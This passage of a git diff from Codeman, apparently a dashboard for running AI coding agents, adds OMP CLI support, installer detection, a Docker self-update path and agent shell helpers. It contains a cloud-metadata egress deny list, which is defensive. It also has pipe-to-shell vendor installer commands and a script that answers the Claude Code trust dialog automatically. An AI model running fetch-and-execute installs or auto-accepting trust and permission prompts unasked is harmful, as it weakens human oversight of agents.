+ +**omp reads its own model routing and hooks from `~/.omp`, so no trust or +permission flags are needed** — unlike every sibling CLI in this family, there is no +bypass-permissions equivalent to wire up, so `buildOmpCommand()` only ever passes +`--model`/`--resume`/`--continue`. ⚠️ That does NOT mean omp is unrestricted: its +documented default `tools.approvalMode` is `yolo`, so an omp pane auto-approves exec +with no flag from Codeman — the CLI's own config, not Codeman, is what would need to +change that. + +Env overrides: the `OMP_*` prefix is allowlisted, and per omp's own +`docs/environment-variables.md` it is not the narrow surface it looks like. omp reads +roughly 40 provider keys from the environment (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, +`XAI_API_KEY`, `HF_TOKEN`, ...) — pi's 34-key problem in the same shape — which is why +none of those get a dedicated allowlist entry; a session authenticates from `~/.omp` +config or the server process's own env instead, like pi. omp's own documented knobs +are mostly `PI_*`, not `OMP_*` (`PI_CONFIG_DIR`, `PI_CODING_AGENT_DIR`, +`PI_CODING_AGENT_SESSION_DIR`, `PI_SUBPROCESS_CMD`, `PI_SHELL_PREFIX`, +`OMP_PROFILE`/`PI_PROFILE`), and `PI_*` is already allowlisted globally because pi +mode needs it — so an omp session today already accepts all of those. The first three +also move the tree `omp-session-resolver.ts` and `omp-transcript.ts` hardcode +(`resolveOmpHome()` assumes `~/.omp` unconditionally), so pinning and history quietly +stop working under a redirected config root; this is a known gap, not fixed here. + +The `OMP_` prefix itself brings in `OMP_AUTH_BROKER_URL` / `OMP_AUTH_BROKER_TOKEN`, +where omp resolves credentials from — the same shape `DEEPSEEK_BASE_URL` is dropped +for in `clampEnvOverridesForOwner()` (session-routes.ts), so both are clamped there +for a non-granted owner in multi-user mode. None of this matters in single-user mode. + +## Exact-id pinning: why `--resume`, not just `--continue` + +`--continue` alone is ambiguous the moment **any** other omp conversation has +touched the same working directory more recently — it just picks the newest session +file on disk, silently. That happens routinely: a closed-then-resumed Codeman row +plus a still-running duplicate, two Codeman sessions pointed at the same case, or a +plain reattach after a server restart. + +`src/utils/omp-session-resolver.ts` resolves and **pins** the exact conversation id +once (`findLatestOmpSessionId()` reads `~/.omp/agent/sessions//`, +the newest `.jsonl` file's embedded uuid), then every later respawn reuses that +pinned id via `--resume` instead of re-guessing with `--continue`. + +⚠️ **The directory mangling is NOT a straight `/` → `-` replace.** Unlike Claude +Code's `~/.claude/projects/*` convention (which keeps the full path, e.g. +`-home-user-codeman-cases-foo`), omp strips the `$HOME` prefix FIRST and only then +dash-replaces (`/home/user/codeman-cases/foo` → `-codeman-cases-foo`; a path outside +`$HOME`, like `/tmp/...`, is dash-replaced as-is with no stripping). Getting this +wrong doesn't error — `findLatestOmpSessionId()` just silently returns null for +every case under `$HOME` (virtually all real Codeman cases), so pinning quietly +degrades to omp's own ambiguous `--continue`. This was found and fixed 2026-08-27 +after months of testing had only ever exercised `/tmp`-based working directories, +where the bug's wrong output happened to coincidentally match the right one. + +## Surviving a full session kill + +`src/omp-transcript.ts` scans `~/.omp/agent/sessions/**/*.jsonl` directly — a second, +independent history source alongside Codeman's own state. This means an OMP +conversation's history (working directory, first/last prompt, size) is recoverable +in the Past Sessions list even when **both** the Codeman session record and the +underlying tmux pane are gone — verified live against a full OS reboot, not just a +"Kill Tmux" button click. + +## Terminal behavior + +OMP renders inside tmux like every external CLI (narrow scrollback strip — alt-screen +toggles only, not the full Claude/Codex/Gemini strip). It stays out of the +alt-screen-strip list and lands on the `'buffer'` local-echo policy via the +`_updateLocalEchoState` fallthrough, same as grok and pi. + +## Docker cases + +The agent image installs omp in its own Dockerfile step (not npm; omp's installer +targets `$HOME/.local/bin` with no `--dir` override, the same shape as grok's +installer). Rebuild with the mandatory `--no-cache`: + +```bash +node scripts/build-agent-image.mjs --no-cache +``` + +⚠️ **`--resume` pinning does not currently reach an in-container omp process.** +Docker panes are built from `defaultDockerCommandForMode`, which never sees +`ompConfig` — `appendResumeFlag()`'s `case 'omp'` keys off the top-level +`resumeSessionId` field, which nothing populates for omp today. Host-side history +recovery still works (the shared `sessions/` mount below), but a respawned +in-container omp pane falls back to its own ambiguous `--continue`, not a pinned +id. Flagged in upstream review, not yet fixed. + +Credentials are **mostly seeded**, but `sessions/` is the one exception in this CLI +family: `~/.omp/agent/{config.yml,mcp.json,models.yml,settings.yml}` are seeded +(read-only mount, copied into the container's own `~/.omp/agent` once), so an +in-container omp never writes refreshed config back to the host and `docker commit` +exports stay secret-free. But `~/.omp/agent/sessions/` is **shared (RW)**, not +seeded — the same treatment as codex's `sessions/`, and for the identical reason: +Codeman reads it host-side (`omp-transcript.ts`, `omp-session-resolver.ts`) for +history recovery and `--resume` pinning. Seeding it instead of sharing it would make +an in-container OMP conversation invisible to Codeman's own history/resume logic, +silently breaking Docker support for the kill-survival feature above. The rest of +`~/.omp/agent` (`agent.db`/`history.db`/`models.db` SQLite caches, +`terminal-sessions/`, `blobs/`, `cache/`) stays container-local and is neither +shared nor seeded. + +## Remote SSH cases + +`omp` mode is routed through an interactive login shell +(`exec "$SHELL" -i -l -c 'omp'`), because sshd's remote-command PATH does not +include `~/.local/bin`. Per-session config and `envOverrides` do not cross ssh and are +rejected rather than silently ignored; use the per-host command override instead. + +## Known gaps + +- **No idle/completion hook.** Idle detection falls back to output-stabilization + like every other external CLI. If omp ever ships a hooks system, a Codeman hook + POSTing to `/api/hook-event` would be the highest-value follow-up. +- **Killing a pane mid-turn loses the conversation for real.** `tmux kill-session` + before an in-TUI `/exit` beats omp's own session-file flush — confirmed by direct + testing (kill after a clean `/exit` resumes correctly; kill without `/exit` first + does not). This is not something Codeman can compensate for from outside the + process; it would need an upstream omp fix (e.g. flush-on-SIGTERM). +- **Unverified: `$HOME` as a symlink.** The directory-mangling fix above compares + against the literal `homedir()` string, not a `realpath()`-resolved one. Whether + omp itself canonicalizes symlinks before mangling is unconfirmed — this has not + been tested against a symlinked-home setup. +- Ralph, respawn heuristics, token/CLI-info parsing and the `❯` readiness probe are + off for omp, as for every external CLI. diff --git a/docs/security-architecture.md b/docs/security-architecture.md index 0a80c76b..5f2116ce 100644 --- a/docs/security-architecture.md +++ b/docs/security-architecture.md @@ -518,7 +518,7 @@ A saved dashboard URL renders as a tab, served through Codeman's own origin at ` - **The proxy is exempt from cookie auth and the Origin/CSRF guard, and that is deliberate.** The iframe is sandboxed without `allow-same-origin`, so it is opaque‑origin: its requests are cross‑site, meaning the `SameSite=lax` session cookie is never attached and its writes and WS upgrades arrive with `Origin: null`. The credential is instead a 192‑bit capability in the path, minted only by an authenticated `POST /api/webviews/:id/open`, held in memory (a restart invalidates every one), rolling TTL, bound to the minting user, and granting nothing but "relay bytes to this one saved URL". ⚠️ **The Host allowlist is NOT bypassed**, so DNS‑rebinding protection is unaffected. A second `Referer`‑keyed form exists for root‑absolute assets and is the only exemption decided by a request‑supplied header, so it is fenced to safe methods on non‑`/api`, non‑`/ws`, non‑`/q` paths. Edges pinned by `test/webview-auth-exemption.test.ts`. - **Sandboxed by default; `allow-same-origin` is an explicit per‑dashboard opt‑in.** A proxied page is same‑origin with Codeman, so without the sandbox its JavaScript could read the Codeman document and call the agent‑spawning API. ⚠️ In BOTH modes the `Authorization` header and the `codeman_session` cookie are stripped before the upstream request, because a trusted (same‑origin) frame makes the browser attach Codeman's own Basic‑auth credentials to every proxied request; forwarding them would hand `CODEMAN_PASSWORD` to the dashboard. -- **Not an open relay, and not a privilege boundary.** `resolveUpstreamUrl()` refuses anything leaving the saved origin, and cross‑origin redirects are handed back unchanged rather than followed. The proxy does reach whatever the SERVER can reach, which is not an escalation for someone who already commands `--dangerously-skip-permissions` agents, but in multi‑user mode it means a non‑admin's dashboard is fetched from the server's network position. Saved URLs are validated to plain http(s) with no embedded credentials, and there is deliberately **no magic‑link path**: terminal output can never create a webview (the mistake the attachment scanner had to be walled off from). +- **Not an open relay, and not a privilege boundary.** `resolveUpstreamUrl()` refuses anything leaving the saved origin, and cross‑origin redirects are handed back unchanged rather than followed. The proxy does reach whatever the SERVER can reach, which is not an escalation for someone who already commands `--dangerously-skip-permissions` agents, but in multi‑user mode it means a non‑admin's dashboard is fetched from the server's network position. Saved URLs are validated to plain http(s) with no embedded credentials, and there is deliberately **no magic‑link path**: terminal output can never create a webview (the mistake the attachment scanner had to be walled off from). The one refused destination class is link‑local and cloud‑metadata addresses (`169.254.0.0/16`, `fe80::/10`, `fd00:ec2::254`, `168.63.129.16`, `100.100.100.200`, `metadata.google.internal`): `webview-egress-policy.ts` refuses them at save time, and `webview-egress.ts` re‑judges the RESOLVED address at connect time through a `lookup` hook on the proxy's undici Agent and on its WebSocket client, so a DNS name pointing into those ranges is refused as well. Loopback and RFC1918 stay allowed on purpose. Capabilities are revoked on logout, admin logout and user deletion, and proxied responses carry `Referrer-Policy: same-origin` so a dashboard cannot hand the capability‑bearing URL to a third‑party host it links. --- diff --git a/docs/web-tabs.md b/docs/web-tabs.md index 2560218d..81f35f55 100644 --- a/docs/web-tabs.md +++ b/docs/web-tabs.md @@ -161,10 +161,21 @@ then every API call fails, which looks like the dashboard being broken. then streams the body without any time bound; a header timeout is logged server-side and answered as a 502 that names the limit. WebSocket handshakes use the separate `CODEMAN_WEBVIEW_WS_HANDSHAKE_TIMEOUT_MS` (default 30s). -- **Not a security boundary.** The proxy reaches whatever the Codeman server can - reach. That is not an escalation for someone who already commands - `--dangerously-skip-permissions` agents, but in multi-user mode it does mean a - non-admin user's dashboard is fetched from the server's network position. +- **Not a security boundary, with one carve-out.** The proxy reaches whatever the + Codeman server can reach (a `localhost` dashboard is the point), so it is not an + escalation for someone who already commands `--dangerously-skip-permissions` + agents, but in multi-user mode it does mean a non-admin user's dashboard is + fetched from the server's network position. The carve-out: link-local and + cloud-metadata addresses (`169.254.0.0/16`, `fe80::/10`, `fd00:ec2::254`, + Azure's `168.63.129.16`, Alibaba's `100.100.100.200`, the + `metadata.google.internal` alias) are refused at save time AND at connect + time, judged on the address a name actually resolves to. Nothing anyone embeds + as a dashboard lives there; an instance's IAM credentials do. +- **The proxy URL is a bearer credential.** `/webview//...` needs no cookie, + so treat it like a password. It is revoked when you log out, when an admin logs + you out, and when your account is deleted, and it expires after 12 hours + without use. Proxied responses carry `Referrer-Policy: same-origin`, so a + dashboard that links to third-party sites does not hand them the URL. ## Where the code lives diff --git a/install.sh b/install.sh index 4d1ef847..70d3cffd 100755 --- a/install.sh +++ b/install.sh @@ -149,6 +149,17 @@ ANTIGRAVITY_SEARCH_PATHS=( "$HOME/bin/agy" ) +# OMP CLI search paths (from src/utils/omp-cli-resolver.ts's OMP_SEARCH_DIRS — +# ~/.local/bin leads, omp.sh's installer target; ~/.omp/bin is a fallback only) +OMP_SEARCH_PATHS=( + "$HOME/.local/bin/omp" + "$HOME/.omp/bin/omp" + "/usr/local/bin/omp" + "$HOME/.bun/bin/omp" + "$HOME/.npm-global/bin/omp" + "$HOME/bin/omp" +) + # ============================================================================ # Color Output # ============================================================================ @@ -692,6 +703,37 @@ get_grok_path() { done } +# `omp` is a short name too, so like grok/pi the server-side resolver +# additionally probes `omp --version`. Detection here only feeds the +# "you have no AI CLI" hint, so a plain executable test is enough. +check_omp() { + if command -v omp &>/dev/null; then + return 0 + fi + + for path in "${OMP_SEARCH_PATHS[@]}"; do + if [[ -x "$path" ]]; then + return 0 + fi + done + + return 1 +} + +get_omp_path() { + if command -v omp &>/dev/null; then + command -v omp + return + fi + + for path in "${OMP_SEARCH_PATHS[@]}"; do + if [[ -x "$path" ]]; then + echo "$path" + return + fi + done +} + check_cloudflared() { # Check ~/.local/bin first (matches tunnel-manager.ts resolution order) if [[ -x "$HOME/.local/bin/cloudflared" ]]; then @@ -2335,6 +2377,7 @@ main() { local has_pi=false local has_grok=false local has_dsh=false + local has_omp=false info "Checking AI CLI tools..." if check_claude; then @@ -2369,17 +2412,21 @@ main() { has_dsh=true success "DeepSeek Harness found at $(get_dsh_path)" fi + if check_omp; then + has_omp=true + success "OMP CLI found at $(get_omp_path)" + fi - if [[ "$has_claude" == "false" && "$has_opencode" == "false" && "$has_codex" == "false" && "$has_gemini" == "false" && "$has_antigravity" == "false" && "$has_pi" == "false" && "$has_grok" == "false" && "$has_dsh" == "false" ]]; then + if [[ "$has_claude" == "false" && "$has_opencode" == "false" && "$has_codex" == "false" && "$has_gemini" == "false" && "$has_antigravity" == "false" && "$has_pi" == "false" && "$has_grok" == "false" && "$has_dsh" == "false" && "$has_omp" == "false" ]]; then echo "" - warn "No AI CLI found. Codeman needs at least one: Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, Grok, or DeepSeek Harness." + warn "No AI CLI found. Codeman needs at least one: Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, Grok, DeepSeek Harness, or OMP." headless_guard "install an AI CLI (curl | bash from its vendor)" echo "" echo -e " ${BOLD}Which AI CLI would you like to install?${NC}" echo -e " ${CYAN}1)${NC} Claude Code (Anthropic)" echo -e " ${CYAN}2)${NC} OpenCode (open-source)" echo -e " ${CYAN}3)${NC} Both" - echo -e " ${CYAN}4)${NC} Skip (I'll install one myself, e.g. Codex, Antigravity, Pi or Grok)" + echo -e " ${CYAN}4)${NC} Skip (I'll install one myself, e.g. Codex, Antigravity, Gemini, Pi, Grok, DeepSeek Harness or OMP)" echo "" local cli_choice="" @@ -2728,7 +2775,7 @@ main() { echo -e " https://github.com/Ark0N/Codeman" echo "" - if ! check_claude && ! check_opencode && ! check_codex && ! check_gemini && ! check_antigravity && ! check_pi && ! check_grok && ! check_dsh; then + if ! check_claude && ! check_opencode && ! check_codex && ! check_gemini && ! check_antigravity && ! check_pi && ! check_grok && ! check_dsh && ! check_omp; then echo -e " ${YELLOW}${BOLD}Reminder:${NC} Install at least one AI CLI to start using Codeman:" echo -e " ${CYAN}curl -fsSL https://claude.ai/install.sh | bash${NC} # Claude Code" echo -e " ${CYAN}curl -fsSL https://opencode.ai/install | bash${NC} # OpenCode" @@ -2736,7 +2783,11 @@ main() { echo -e " ${CYAN}curl -fsSL https://antigravity.google/cli/install.sh | bash${NC} # Antigravity" echo -e " ${CYAN}npm install -g --ignore-scripts @earendil-works/pi-coding-agent${NC} # Pi" echo -e " ${CYAN}curl -fsSL https://x.ai/cli/install.sh | bash${NC} # Grok" + echo -e " ${CYAN}curl -fsSL https://omp.sh/install | sh${NC} # OMP" echo "" + echo -e " DeepSeek Harness has no vendor one-liner — install it from within Codeman" + echo -e " once the server is up (Run dropdown → Install DeepSeek Profile, or see" + echo -e " docs/deepseek-integration.md)." fi # Security notice — last informational block so it stays visible (when not diff --git a/package-lock.json b/package-lock.json index c69c3a54..32ef8018 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "aicodeman", - "version": "1.23.2", + "version": "1.24.7", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "aicodeman", - "version": "1.23.2", + "version": "1.24.7", "hasInstallScript": true, "license": "MIT", "workspaces": [ @@ -32,6 +32,7 @@ "jpeg-js": "^0.4.4", "node-pty": "^1.1.0", "qrcode": "^1.5.4", + "undici": "^6.28.0", "uuid": "^14.0.0", "web-push": "^3.6.7", "ws": "^8.21.0", @@ -11550,6 +11551,15 @@ "dev": true, "license": "MIT" }, + "node_modules/undici": { + "version": "6.28.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.28.0.tgz", + "integrity": "sha512-LIY910g9TI13YS95lrMFrs8Rm/u/irgHeTWoKCoteeJ04CUJ92eEfj0rVn+7VKMPBpUPiUoBKfhNyLI23EE/KA==", + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, "node_modules/undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", diff --git a/package.json b/package.json index 9c7f99cd..b26242e9 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "aicodeman", - "version": "1.23.2", + "version": "1.24.7", "description": "Mission control for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence", "type": "module", "main": "dist/index.js", @@ -102,6 +102,7 @@ "jpeg-js": "^0.4.4", "node-pty": "^1.1.0", "qrcode": "^1.5.4", + "undici": "^6.28.0", "uuid": "^14.0.0", "web-push": "^3.6.7", "ws": "^8.21.0", diff --git a/scripts/self-update.sh b/scripts/self-update.sh index f78f3a5c..6ac3f80d 100755 --- a/scripts/self-update.sh +++ b/scripts/self-update.sh @@ -7,18 +7,25 @@ # the repo (the server stages it at ~/.codeman/self-update-runner.sh) — `git # checkout` rewrites the in-repo copy and bash reads scripts lazily. # +# ⚠️ The `docker-compose` supervisor is the exception to "outlives": there the +# restart IS the container exiting, which kills this script too. That is safe +# because the terminal "restarting" marker is written before the kill and the +# rebooted server reconciles it — but nothing may be added after that kill. +# # Reports progress by writing ~/.codeman/update-status.json atomically; the # browser polls GET /api/system/update/status across the restart drop. The # freshly-booted server reconciles the final "restarting" → "completed"/"failed". # -# Cross-platform: restarts via systemd (Linux), launchd (macOS), or prints a -# manual command (foreground installs). Linux launches inside a transient -# systemd scope so `systemctl restart codeman-web` can't kill it mid-build. +# Cross-platform: restarts via systemd (Linux), launchd (macOS), a container exit +# under Docker Compose (the restart policy relaunches it), or prints a manual +# command (foreground installs). Linux launches inside a transient systemd scope +# so `systemctl restart codeman-web` can't kill it mid-build. # # Args (all from the server, never user input — tag is validated server-side): -# --repo --tag --supervisor +# --repo --tag --supervisor # --status-file --update-id --from-version --node -# --log [--prev-sha ] [--stash] +# --log [--prev-sha ] [--stash] [--server-pid ] +# [--restart-by-exit 0|1] (docker-compose only: may we exit the server?) # set -uo pipefail @@ -32,6 +39,7 @@ REPO="" TAG="" SUPERVISOR="none" SERVER_PID="" +RESTART_BY_EXIT="0" STATUS_FILE="" UPDATE_ID="" FROM_VERSION="" @@ -52,6 +60,7 @@ while [[ $# -gt 0 ]]; do --log) LOG="$2"; shift 2 ;; --prev-sha) PREV_SHA="$2"; shift 2 ;; --server-pid) SERVER_PID="$2"; shift 2 ;; + --restart-by-exit) RESTART_BY_EXIT="$2"; shift 2 ;; --stash) DO_STASH=1; shift ;; *) shift ;; esac @@ -144,7 +153,7 @@ rollback_and_fail() { echo "[self-update] $msg — rolling back to ${PREV_SHA:-}" if [[ -n "$PREV_SHA" ]]; then git checkout --force "$PREV_SHA" >/dev/null 2>&1 || true - npm install --no-fund --no-audit >/dev/null 2>&1 || true + npm install --no-fund --no-audit --include=dev >/dev/null 2>&1 || true npm run build >/dev/null 2>&1 || true fi fail "$msg — rolled back to the previous version" "$msg" @@ -176,7 +185,9 @@ write_status "checkout" "Checking out $TAG…" git -c advice.detachedHead=false checkout --force "$TAG" || rollback_and_fail "Could not check out $TAG" # 4) Install dependencies (heartbeat keeps the UI live during this slow step). -run_step "installing" "Installing dependencies" npm install --no-fund --no-audit \ +# --include=dev: tsc and esbuild are devDependencies, and the Compose image sets +# NODE_ENV=production, which would otherwise omit them and fail the build below. +run_step "installing" "Installing dependencies" npm install --no-fund --no-audit --include=dev \ || rollback_and_fail "Dependency install failed" # 5) Build (gate the restart on success — never restart into a torn dist/). @@ -200,6 +211,43 @@ case "$SUPERVISOR" in || fail "Build succeeded but launchd restart failed" "launchctl" } ;; + docker-compose) + # In the Compose deployment there is no init system to ask: the "restart" is + # the server EXITING, so the container's `restart: unless-stopped` policy + # relaunches it on the dist/ we just built. The repo and dist/ live on host + # mounts, so the new build survives the container being replaced. + # + # ⚠️ This script dies WITH the container it is restarting — it is a child of + # the server process, not a survivor like the systemd-scope path. That is + # fine, and load-bearing: the terminal "restarting" marker is already written + # above, and the freshly-booted server reconciles it. Nothing may be appended + # after the kill that the update depends on. + # + # ⚠️ The server is signalled by PID rather than `docker restart`: this + # container's own Docker CLI talks to the HOST daemon, and a self-directed + # restart there races the client's own death. Exiting is the one path that + # needs no cooperation from anything outside the container. + # + # ⚠️ Only when the SERVER said the container comes back (`--restart-by-exit 1`: + # the Compose file declared it, or the daemon reported an auto-restart policy). + # An unknown policy stages the build and asks for a restart instead. Exiting + # blind would take a container the daemon does not restart down for good, + # with no UI left to recover it from. + if [[ "$RESTART_BY_EXIT" != "1" ]]; then + MANUAL_CMD="docker restart \$(hostname) # from the Docker host" + write_status "completed-needs-manual-restart" "Update built — restart the Codeman container to apply v$TO_VERSION." + echo "[self-update] docker-compose: restart-by-exit not confirmed — not exiting; manual restart required" + exit 0 + fi + if [[ -n "$SERVER_PID" ]] && kill "$SERVER_PID" 2>/dev/null; then + : # container exit + restart policy take it from here + else + MANUAL_CMD="docker restart \$(hostname) # from the Docker host" + write_status "completed-needs-manual-restart" "Update staged — restart the Codeman container to apply v$TO_VERSION." + echo "[self-update] docker-compose: could not signal server pid '$SERVER_PID' — manual restart required" + exit 0 + fi + ;; launchd-daemon) # System-level KeepAlive LaunchDaemon (headless Mac): kickstarting the system # domain needs root, but we don't need it — kill the server and launchd diff --git a/skills/codeman/SKILL.md b/skills/codeman/SKILL.md index 59f90473..231cbdb8 100644 --- a/skills/codeman/SKILL.md +++ b/skills/codeman/SKILL.md @@ -47,7 +47,7 @@ later call opens with, and your first REAL call performs them anyway: ```bash . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null -[ "${CODEMAN_PREAMBLE:-}" = 1.20.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; } +[ "${CODEMAN_PREAMBLE:-}" = 1.21.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; } ``` ⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same @@ -75,8 +75,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" mkdir -p "$(dirname "$PRE")" # Rewrite unless the file already ends with THIS version's stamp, so a stale or a # half-written file self-heals here instead of costing you a round trip to rm it. -grep -qs '^CODEMAN_PREAMBLE=1.20.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE' -# ---- Codeman agent preamble 1.20.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ---- +grep -qs '^CODEMAN_PREAMBLE=1.21.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE' +# ---- Codeman agent preamble 1.21.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ---- API="${CODEMAN_API_URL:?CODEMAN_API_URL not set; refusing to guess}" SELF="${CODEMAN_SESSION_ID:?CODEMAN_SESSION_ID not set}" # Credentials, cheapest first. Your session has usually INHERITED the server's @@ -127,6 +127,43 @@ _dsh_up() { # -> "true"/"false". The DeepSeek Harness T --data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \ --data-urlencode "timeout=$2" | jq -r '.data.wait.matched // false' } +# ---- the workspace-trust dialog: READ the screen, never press Enter blind ---- +# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights +# "No, exit" by default: +# Security guide +# ❯ No, exit +# Yes, I trust this folder +# Enter to confirm . Esc to cancel +# so the bare \r that answered the old layout now answers *exit* and the pane is +# dead (`status 1`) seconds after the spawn -- measured on a live 2.1.252 case. +# These two read the rendered pane and steer onto the trust option instead. +_trust_key() { # -> "confirm" | "move" | "" (nothing safe to press) + # full=1 returns the RENDERED pane; a claude pane keeps no tmux history, so that + # is the current frame rather than every repaint since launch. tail -1 anyway, + # because the freshest marked row is the only one still true. + "${CURL[@]}" -G "$API/api/v1/sessions/$1/terminal" --data-urlencode 'full=1' \ + | jq -r '.data.terminalBuffer // empty' \ + | sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \ + | tr -d ' \t' | grep -i '❯[0-9.]*\(yes,itrustthisfolder\|no,exit\)' | tail -1 \ + | sed -e 's/.*[Yy]es,.*/confirm/' -e 's/.*[Nn]o,.*/move/' +} +_accept_trust() { # -> 0 once it has answered the dialog, 1 if it could not + local sid="$1" k i=1 + while [ "$i" -le 6 ]; do + k=$(_trust_key "$sid") + [ -n "$k" ] || return 1 # no dialog on screen, or a layout this cannot read + # A SEPARATE clientId for these keys. seq is monotonic per clientId, so + # spending prompt numbers here would make the next sendwait -- whose default + # seq is the epoch second -- look like a stale duplicate and vanish silently. + "${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \ + -d "$(jq -nc --arg k "$([ "$k" = confirm ] && printf '\r' || printf '\033[B')" \ + --arg c "$CID-trust-$sid" --argjson s "$i" \ + '{input:$k,useMux:true,clientId:$c,seq:$s}')" >/dev/null + [ "$k" = confirm ] && return 0 + sleep 1; i=$((i+1)) # re-read: the arrow is CONFIRMED before Enter goes out + done + return 1 +} # spawn_worker [mode] -> session id on stdout, diagnostics on stderr. # quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means # a READY worker whose end-of-turn signal can be trusted -- a claude worker in a @@ -177,19 +214,16 @@ spawn_worker() { grep -qs '/api/hook-event' "$cp/.claude/settings.local.json" || { echo "case '$name' resolved to '$cp', which has no Codeman hooks (workspaceHooksEnabled off, remote, or an older server?): turn the setting on, or work §5.1+§5.5 by hand with markers" >&2 delete_session "$sid" >/dev/null; return 1; } - # Short composer wait FIRST, then the trust-dialog probe: a case still showing the - # dialog can never pass the composer wait, so probing early keeps a cold case from + # Short composer wait FIRST, then the trust dialog: a case still showing the + # dialog can never pass the composer wait, so acting early keeps a cold case from # paying the whole long wait before the fallback even runs (§5.2). A warm case - # matches in under a second and never reaches the probe. + # matches in under a second and never reaches it, and _accept_trust returns in a + # blink when there is no dialog, so this costs nothing in the ordinary slow case. r=$(_composer_up "$sid" 5000) if [ "$r" != true ]; then - if "${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" \ - --data-urlencode 'match=trust' --data-urlencode 'from=buffer' --data-urlencode 'timeout=2000' \ - | jq -e '.data.wait.matched' >/dev/null; then - # Codeman's own auto-accept gives up after 90 s / 3 tries; this is that bounded fallback. - "${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \ - -d "$(jq -nc --arg c "$CID-$sid" '{input:"\r",useMux:true,clientId:$c,seq:1}')" >/dev/null - fi + # Codeman answers this dialog itself and normally wins the race; this is the + # bounded fallback for when its 90 s window / 6-keystroke cap has run out. + _accept_trust "$sid" r=$(_composer_up "$sid" 45000) fi [ "$r" = true ] || { echo "worker $sid never drew a composer; deleted it. Retry by hand via the §5.2 ladder (its billed stage-4 probe included)" >&2 @@ -288,10 +322,10 @@ last_text() { # The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept # bare on purpose: the write condition above anchors on it with $, so an inline comment # here would fail that match and rewrite this file on every single bootstrap. -CODEMAN_PREAMBLE=1.20.0 +CODEMAN_PREAMBLE=1.21.0 PREAMBLE ) -. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.20.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; } +. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.21.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; } ``` Every later Bash call that touches the API starts with the same two loader lines from @@ -342,7 +376,7 @@ and no per-call body to hand-build. ```bash . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader -[ "${CODEMAN_PREAMBLE:-}" = 1.20.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; } +[ "${CODEMAN_PREAMBLE:-}" = 1.21.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; } N=(alpha beta) # INVENT one fresh case name per worker; never list cases first # (a name may carry a mode: `beta:deepseek`, see below) T=('reply with one line: the absolute path of your working directory' @@ -422,7 +456,7 @@ Harness TUI reports `idle`/`working`/`blocked` to Codeman over the supervisor co implements, so dsh is the one external CLI with definitive `stop`/`blocked` signals instead of guessed-from-silence ones — and it writes a structured transcript, which is what `last-response` reads for it. `shell`, `opencode`, `codex`, `gemini`, `antigravity`, -`pi` and `grok` have neither and still need markers ([§5.5](reference/verbs.md#55-markers-for-hook-less-workers)). +`pi`, `grok` and `omp` have neither and still need markers ([§5.5](reference/verbs.md#55-markers-for-hook-less-workers)). Three things to know before you spawn one: diff --git a/skills/codeman/preamble.sh b/skills/codeman/preamble.sh index 0cee70bd..3bd024e5 100644 --- a/skills/codeman/preamble.sh +++ b/skills/codeman/preamble.sh @@ -1,4 +1,4 @@ -# ---- Codeman agent preamble 1.20.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ---- +# ---- Codeman agent preamble 1.21.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ---- API="${CODEMAN_API_URL:?CODEMAN_API_URL not set; refusing to guess}" SELF="${CODEMAN_SESSION_ID:?CODEMAN_SESSION_ID not set}" # Credentials, cheapest first. Your session has usually INHERITED the server's @@ -49,6 +49,43 @@ _dsh_up() { # -> "true"/"false". The DeepSeek Harness T --data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \ --data-urlencode "timeout=$2" | jq -r '.data.wait.matched // false' } +# ---- the workspace-trust dialog: READ the screen, never press Enter blind ---- +# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights +# "No, exit" by default: +# Security guide +# ❯ No, exit +# Yes, I trust this folder +# Enter to confirm . Esc to cancel +# so the bare \r that answered the old layout now answers *exit* and the pane is +# dead (`status 1`) seconds after the spawn -- measured on a live 2.1.252 case. +# These two read the rendered pane and steer onto the trust option instead. +_trust_key() { # -> "confirm" | "move" | "" (nothing safe to press) + # full=1 returns the RENDERED pane; a claude pane keeps no tmux history, so that + # is the current frame rather than every repaint since launch. tail -1 